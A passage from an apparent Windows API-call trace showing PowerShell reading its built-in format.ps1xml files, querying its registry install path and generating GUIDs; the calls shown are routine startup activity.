lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.776] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.777] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.777] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.777] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.777] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.777] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.778] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.778] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.778] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.778] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.778] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.778] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.778] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.779] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.780] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0xbce, lpOverlapped=0x0) returned 1 [0024.780] ReadFile (in: hFile=0x308, lpBuffer=0x33a47e6, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a47e6*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.780] ReadFile (in: hFile=0x308, lpBuffer=0x33a50b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x33a50b0*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.780] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xccca0 | out: lpFileInformation=0xccca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0024.780] SetErrorMode (uMode=0x1) returned 0x1 [0024.780] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0024.780] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xccd88 | out: phkResult=0xccd88*=0x308) returned 0x0 [0024.780] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xccd0c, lpData=0x0, lpcbData=0xccd08*=0x0 | out: lpType=0xccd0c*=0x1, lpData=0x0, lpcbData=0xccd08*=0x56) returned 0x0 [0024.780] CoTaskMemAlloc (cb=0x5a) returned 0x1b6f8330 [0024.780] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcccdc, lpData=0x1b6f8330, lpcbData=0xcccd8*=0x56 | out: lpType=0xcccdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xcccd8*=0x56) returned 0x0 [0024.780] RegCloseKey (hKey=0x308) returned 0x0 [0024.780] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0024.780] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0024.784] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xd9b87671, Data2=0x8902, Data3=0x4094, Data4=([0]=0xb9, [1]=0xf0, [2]=0x98, [3]=0xa9, [4]=0x70, [5]=0x5, [6]=0x92, [7]=0x15))) returned 0x0 [0024.784] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x67bef33, Data2=0x4b46, Data3=0x47d7, Data4=([0]=0xae, [1]=0x45, [2]=0x53, [3]=0x75, [4]=0x78, [5]=0xcb, [6]=0x8d, [7]=0xbe))) returned 0x0 [0024.784] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xfb8c8243, Data2=0xaaf, Data3=0x40f3, Data4=([0]=0x9b, [1]=0x5c, [2]=0x31, [3]=0x81, [4]=0xc8, [5]=0x31, [6]=0x68, [7]=0x4d))) returned 0x0 [0024.784] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x42f047cb, Data2=0xab39, Data3=0x4f2b, Data4=([0]=0x88, [1]=0x5a, [2]=0x58, [3]=0xfd, [4]=0x26, [5]=0xe0, [6]=0xcf, [7]=0x4e))) returned 0x0 [0024.784] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x6c40b9e, Data2=0x35a4, Data3=0x46cb, Data4=([0]=0x86, [1]=0xa0, [2]=0x3c, [3]=0xa3, [4]=0x91, [5]=0xbd, [6]=0x1e, [7]=0x4a))) returned 0x0 [0024.784] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xdc0f4f1f, Data2=0x143a, Data3=0x4df2, Data4=([0]=0x81, [1]=0x61, [2]=0xed, [3]=0x7, [4]=0x60, [5]=0x5, [6]=0x2f, [7]=0x86))) returned 0x0 [0024.784] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x9942a5e3, Data2=0xe200, Data3=0x483a, Data4=([0]=0x85, [1]=0xdd, [2]=0x92, [3]=0x37, [4]=0xb8, [5]=0x72, [6]=0xa9, [7]=0x9f))) returned 0x0 [0024.785] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x421511d, Data2=0x9f7b, Data3=0x4e47, Data4=([0]=0xaf, [1]=0x91, [2]=0xe2, [3]=0x8f, [4]=0xf7, [5]=0x85, [6]=0x30, [7]=0x66))) returned 0x0 [0024.785] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x1155426f, Data2=0x171c, Data3=0x4d3a, Data4=([0]=0xb4, [1]=0xaf, [2]=0x4e, [3]=0x85, [4]=0xe9, [5]=0x6d, [6]=0x56, [7]=0xd6))) returned 0x0 [0024.785] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x24ba031b, Data2=0x5868, Data3=0x4bbf, Data4=([0]=0x8b, [1]=0x23, [2]=0x80, [3]=0x85, [4]=0x46, [5]=0x2c, [6]=0xd1, [7]=0xf8))) returned 0x0 [0024.785] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x55d1b3f2, Data2=0x4d49, Data3=0x42a0, Data4=([0]=0x95, [1]=0x94, [2]=0x47, [3]=0x5a, [4]=0x69, [5]=0x26, [6]=0x5a, [7]=0x22))) returned 0x0 [0024.785] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x50147d01, Data2=0xc17c, Data3=0x42bc, Data4=([0]=0x83, [1]=0x31, [2]=0x32, [3]=0x24, [4]=0x14, [5]=0xc0, [6]=0x39, [7]=0x83))) returned 0x0 [0024.786] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xeb51518c, Data2=0x325b, Data3=0x470d, Data4=([0]=0xa1, [1]=0x8d, [2]=0xd5, [3]=0x84, [4]=0x93, [5]=0x36, [6]=0xe0, [7]=0x24))) returned 0x0 [0024.786] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x50d8770e, Data2=0xd6e2, Data3=0x4c2b, Data4=([0]=0xb6, [1]=0x42, [2]=0xdf, [3]=0xe4, [4]=0x2, [5]=0x8e, [6]=0x1c, [7]=0xf4))) returned 0x0 [0024.786] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x1c33314d, Data2=0xc200, Data3=0x4881, Data4=([0]=0x8e, [1]=0xd1, [2]=0x67, [3]=0x17, [4]=0xcb, [5]=0xba, [6]=0xc8, [7]=0xaa))) returned 0x0 [0024.786] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xc17e1e14, Data2=0xe2a1, Data3=0x4c94, Data4=([0]=0x8c, [1]=0x48, [2]=0xd7, [3]=0x26, [4]=0x2f, [5]=0x8, [6]=0x8e, [7]=0x48))) returned 0x0 [0024.786] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xbf3bd407, Data2=0xda89, Data3=0x4a48, Data4=([0]=0xae, [1]=0x91, [2]=0xf5, [3]=0x12, [4]=0xe7, [5]=0x16, [6]=0xb3, [7]=0xaf))) returned 0x0 [0024.787] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x5c2538c4, Data2=0xf72b, Data3=0x40a4, Data4=([0]=0xa1, [1]=0xfb, [2]=0xa7, [3]=0xf5, [4]=0x58, [5]=0x21, [6]=0x8, [7]=0x65))) returned 0x0 [0024.787] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x10923efb, Data2=0xe5d4, Data3=0x4844, Data4=([0]=0xb1, [1]=0x4, [2]=0x7c, [3]=0xe2, [4]=0x78, [5]=0x36, [6]=0x10, [7]=0x11))) returned 0x0 [0024.787] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x4b12fccb, Data2=0x3b48, Data3=0x4787, Data4=([0]=0x98, [1]=0xdd, [2]=0x5a, [3]=0x8e, [4]=0x20, [5]=0x5e, [6]=0xca, [7]=0x91))) returned 0x0 [0024.787] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xf16e0ea3, Data2=0xe98b, Data3=0x401a, Data4=([0]=0x99, [1]=0xc6, [2]=0x37, [3]=0xf8, [4]=0x43, [5]=0x70, [6]=0xa0, [7]=0x9))) returned 0x0 [0024.787] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xd271e6c2, Data2=0xd582, Data3=0x40c2, Data4=([0]=0xa8, [1]=0x25, [2]=0x10, [3]=0x8f, [4]=0x77, [5]=0x44, [6]=0x22, [7]=0x9a))) returned 0x0 [0024.787] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x7a64b509, Data2=0x8e36, Data3=0x4360, Data4=([0]=0xab, [1]=0x73, [2]=0x7d, [3]=0x67, [4]=0xd0, [5]=0x56, [6]=0x91, [7]=0xbf))) returned 0x0 [0024.787] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xfb11f526, Data2=0xe5b4, Data3=0x48ce, Data4=([0]=0xa7, [1]=0x0, [2]=0x56, [3]=0x59, [4]=0xc6, [5]=0x7b, [6]=0xe1, [7]=0x4))) returned 0x0 [0024.788] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x120ccfe6, Data2=0x4df6, Data3=0x4119, Data4=([0]=0x97, [1]=0xdb, [2]=0x1d, [3]=0xb1, [4]=0x17, [5]=0x41, [6]=0x49, [7]=0x53))) returned 0x0 [0024.788] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x2f3ffcb2, Data2=0x3dd1, Data3=0x419e, Data4=([0]=0x87, [1]=0x80, [2]=0x5c, [3]=0x22, [4]=0x76, [5]=0x2a, [6]=0x32, [7]=0x37))) returned 0x0 [0024.788] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xe81eb321, Data2=0x3bf, Data3=0x404e, Data4=([0]=0xaf, [1]=0x6d, [2]=0xd7, [3]=0x84, [4]=0x88, [5]=0x4e, [6]=0x49, [7]=0x9d))) returned 0x0 [0024.788] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x75588fc6, Data2=0x3cac, Data3=0x4a3d, Data4=([0]=0x83, [1]=0xdf, [2]=0xce, [3]=0xa7, [4]=0xe0, [5]=0x54, [6]=0x18, [7]=0xb8))) returned 0x0 [0024.788] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x26e2f66e, Data2=0xff03, Data3=0x49cb, Data4=([0]=0x80, [1]=0x36, [2]=0xe8, [3]=0x90, [4]=0xfa, [5]=0xda, [6]=0xfb, [7]=0xaf))) returned 0x0 [0024.788] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xfe32c1a5, Data2=0xc056, Data3=0x40e4, Data4=([0]=0xbf, [1]=0x70, [2]=0x7c, [3]=0xd3, [4]=0x59, [5]=0x3f, [6]=0xa4, [7]=0x18))) returned 0x0 [0024.788] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x63cb156e, Data2=0x9ff5, Data3=0x4fac, Data4=([0]=0x85, [1]=0x20, [2]=0xb8, [3]=0xac, [4]=0x2a, [5]=0x3b, [6]=0x43, [7]=0x14))) returned 0x0 [0024.788] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xa28efb1d, Data2=0xc3a, Data3=0x4117, Data4=([0]=0x90, [1]=0x20, [2]=0xf8, [3]=0xee, [4]=0x1a, [5]=0x88, [6]=0xee, [7]=0xa8))) returned 0x0 [0024.788] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xfc31cc39, Data2=0xbace, Data3=0x4ca8, Data4=([0]=0x8e, [1]=0xe8, [2]=0x2d, [3]=0x55, [4]=0xed, [5]=0xc3, [6]=0x3b, [7]=0x12))) returned 0x0 [0024.789] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x156b05c7, Data2=0xdabb, Data3=0x4cc1, Data4=([0]=0xaa, [1]=0xef, [2]=0xd6, [3]=0xd4, [4]=0x29, [5]=0xc5, [6]=0x81, [7]=0xe))) returned 0x0 [0024.789] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x12abde4c, Data2=0x7457, Data3=0x43bb, Data4=([0]=0x9a, [1]=0x30, [2]=0x1e, [3]=0xd4, [4]=0xca, [5]=0xaa, [6]=0xa, [7]=0x23))) returned 0x0 [0024.789] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x6fc076bf, Data2=0x676c, Data3=0x4dcd, Data4=([0]=0xa4, [1]=0x2b, [2]=0x9b, [3]=0xc, [4]=0x9, [5]=0xb7, [6]=0xd1, [7]=0x97))) returned 0x0 [0024.790] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xbf42f957, Data2=0x3160, Data3=0x452d, Data4=([0]=0xab, [1]=0x13, [2]=0x90, [3]=0xb8, [4]=0x83, [5]=0xc0, [6]=0x3e, [7]=0xf7))) returned 0x0 [0024.790] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0024.790] SetErrorMode (uMode=0x1) returned 0x1 [0024.791] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308 [0024.791] GetFileType (hFile=0x308) returned 0x1 [0024.791] SetErrorMode (uMode=0x1) returned 0x1 [0024.791] GetFileType (hFile=0x308) returned 0x1 [0024.791] ReadFile (in: hFile=0x308, lpBuffer=0x34b5698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x34b5698*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.793] ReadFile (in: hFile=0x308, lpBuffer=0x34b5698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x34b5698*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.793] ReadFile (in: hFile=0x308, lpBuffer=0x34b5698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x34b5698*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.793] ReadFile (in: hFile=0x308, lpBuffer=0x34b5698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x34b5698*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.794] ReadFile (in: hFile=0x308, lpBuffer=0x34b5698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x34b5698*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.794] ReadFile (in: hFile=0x308, lpBuffer=0x34b5698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x34b5698*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.794] ReadFile (in: hFile=0x308, lpBuffer=0x34b5698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x34b5698*, lpNumberOfBytesRead=0xcccf8*=0x119, lpOverlapped=0x0) returned 1 [0024.794] ReadFile (in: hFile=0x308, lpBuffer=0x34b5698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x34b5698*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.794] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xccca0 | out: lpFileInformation=0xccca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e2b98c, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e2b98c, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e76251, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0024.794] SetErrorMode (uMode=0x1) returned 0x1 [0024.794] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0024.795] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xccd88 | out: phkResult=0xccd88*=0x308) returned 0x0 [0024.795] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xccd0c, lpData=0x0, lpcbData=0xccd08*=0x0 | out: lpType=0xccd0c*=0x1, lpData=0x0, lpcbData=0xccd08*=0x56) returned 0x0 [0024.795] CoTaskMemAlloc (cb=0x5a) returned 0x1b6f8330 [0024.795] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcccdc, lpData=0x1b6f8330, lpcbData=0xcccd8*=0x56 | out: lpType=0xcccdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xcccd8*=0x56) returned 0x0 [0024.795] RegCloseKey (hKey=0x308) returned 0x0 [0024.795] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0024.795] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0024.796] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x8bb50718, Data2=0x267e, Data3=0x4672, Data4=([0]=0xae, [1]=0xfe, [2]=0xf6, [3]=0x89, [4]=0xe0, [5]=0x1b, [6]=0xd6, [7]=0xc6))) returned 0x0 [0024.797] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xd42fd790, Data2=0x13fa, Data3=0x4ba9, Data4=([0]=0xad, [1]=0xa3, [2]=0x71, [3]=0x52, [4]=0x52, [5]=0x23, [6]=0xcd, [7]=0x5a))) returned 0x0 [0024.797] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xacf1a3f6, Data2=0x21aa, Data3=0x4c32, Data4=([0]=0x88, [1]=0xee, [2]=0x97, [3]=0xdf, [4]=0x14, [5]=0xc5, [6]=0xf3, [7]=0x8c))) returned 0x0 [0024.797] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x8abe1916, Data2=0x14ef, Data3=0x45f4, Data4=([0]=0x91, [1]=0x66, [2]=0x1c, [3]=0xd0, [4]=0xe4, [5]=0xee, [6]=0x42, [7]=0xec))) returned 0x0 [0024.797] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0024.798] SetErrorMode (uMode=0x1) returned 0x1 [0024.798] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308 [0024.798] GetFileType (hFile=0x308) returned 0x1 [0024.798] SetErrorMode (uMode=0x1) returned 0x1 [0024.798] GetFileType (hFile=0x308) returned 0x1 [0024.798] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.800] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.800] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.800] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.801] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.801] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.801] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.801] ReadFile (in: hFile=0x308, 